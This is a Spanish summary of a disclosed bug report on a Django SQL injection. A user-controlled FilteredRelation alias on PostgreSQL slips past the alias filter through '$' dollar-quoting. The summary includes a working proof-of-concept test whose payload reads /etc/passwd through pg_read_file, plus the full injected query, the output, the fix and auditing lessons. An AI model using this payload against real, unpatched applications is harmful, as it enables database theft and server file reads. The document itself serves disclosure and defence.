Reports
ALTA[SQL INJECTION]#3417967

Django: inyección SQL en PostgreSQL con alias de FilteredRelation que usan cadenas con dólar ($tag$)

El filtro de alias de Django no bloqueaba el símbolo $. En PostgreSQL, un alias controlado por el usuario en annotate() con FilteredRelation permitía inyectar SQL y, en la prueba, leer /etc/passwd del servidor de base de datos.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El ORM de Django comprueba los nombres de alias con una expresión regular, FORBIDDEN_ALIAS_PATTERN (en django/db/models/sql/query.py), que rechaza los caracteres peligrosos. El investigador relaciona este fallo con dos anteriores, CVE-2025-57833 y CVE-2025-59681, porque nace del mismo problema: ese filtro estaba incompleto y no incluía el símbolo $.

En PostgreSQL, $ sirve para escribir cadenas literales sin comillas (dollar quoting): $$texto$$ o $etiqueta$texto$etiqueta$. Si una aplicación usa como alias de annotate() con FilteredRelation (y luego select_related()) un texto que viene del usuario, ese alias acaba pegado tal cual en varios puntos de la consulta. Abriendo y cerrando etiquetas $a$, $b$, $c$… el atacante consigue que los trozos de SQL que Django genera entre una aparición y otra se interpreten como simples cadenas, y que lo que queda fuera sea SQL suyo.

El reporte, enviado el 9 de noviembre de 2025 y divulgado el 2 de diciembre de 2025, está marcado con severidad alta.

Pasos de reproducción

  1. Levantar un PostgreSQL de pruebas en Docker:
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=[REDACTADO] -d postgres
  1. En el código fuente de Django, cambiar tests/test_sqlite.py para que la batería de tests use ese PostgreSQL:
DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.postgresql",
        "NAME": "django",
        "USER": "postgres",
        "PORT": 5432,
        "HOST": "localhost"
    },
}
SECRET_KEY = "[REDACTADO]"
  1. Añadir este test dentro de la clase FilteredRelationTests en tests/filtered_relation/tests.py. La variable user_data hace de entrada del usuario usada como alias:
def test_sqli(self):
        user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"

        qs = (
            Book.objects.annotate(**{
                user_data: FilteredRelation(
                "editor"            ),
        })
            .select_related(user_data)
        )

        try:
            import django
            for e in qs.all():
                print("######### Injected #########")
                print(e.title)
                print("############################")
        except django.db.utils.ProgrammingError as e:
            print(f"------\n{e}")
  1. Ejecutarlo:
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli
  1. En el campo title aparece el contenido de /etc/passwd del contenedor de PostgreSQL:
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
postgres:x:999:999::/var/lib/postgresql:/bin/bash
############################

Por qué funciona

Django escribe el alias cuatro veces en la consulta: en la lista de columnas (alias."id", alias."name"), como alias del INNER JOIN y en la condición ON. La consulta completa que se ejecutó fue:

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

Cada $a$, $b$ y $c$ de la primera aparición se cierra con el de la siguiente, de modo que todo lo intermedio se convierte en tres cadenas inofensivas. Lo que PostgreSQL ve en realidad es esto:

SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

El FROM original ha quedado dentro de una cadena y lo sustituye una subconsulta del atacante que se llama también filtered_relation_book y devuelve en title el resultado de pg_read_file().

Impacto

Una aplicación Django sobre PostgreSQL que deje al usuario decidir el nombre de un alias en annotate() con FilteredRelation queda expuesta a inyección SQL. Según el investigador, eso permite extraer datos de la base de datos, leer ficheros del servidor de base de datos (lo que demuestra la prueba con /etc/passwd) o incluso llegar a ejecutar órdenes en él.

Remediación

La corrección propuesta en el reporte es añadir el símbolo $ a la expresión regular FORBIDDEN_ALIAS_PATTERN, para que cualquier alias que lo contenga se rechace antes de construir la consulta. El reporte figura como resuelto.

Qué aprender de este caso

  • Si revisas una aplicación Django, busca llamadas a annotate(**{...}), alias(**{...}) o select_related() cuyas claves salgan de parámetros de la petición (filtros u ordenaciones dinámicas): el nombre del alias es SQL, no un dato.
  • Las listas negras de caracteres dependen del motor: $ es inocuo en otros motores, pero en PostgreSQL abre una cadena. Al auditar un filtro así, repasa la sintaxis de citado propia de cada base de datos soportada.
  • Un valor que aparece varias veces en la misma consulta multiplica las opciones del atacante: con varias apariciones puede "puentear" el SQL intermedio convirtiéndolo en literal.
  • Al programar, no uses texto del usuario como identificador; si hace falta, tradúcelo desde una lista cerrada de alias permitidos.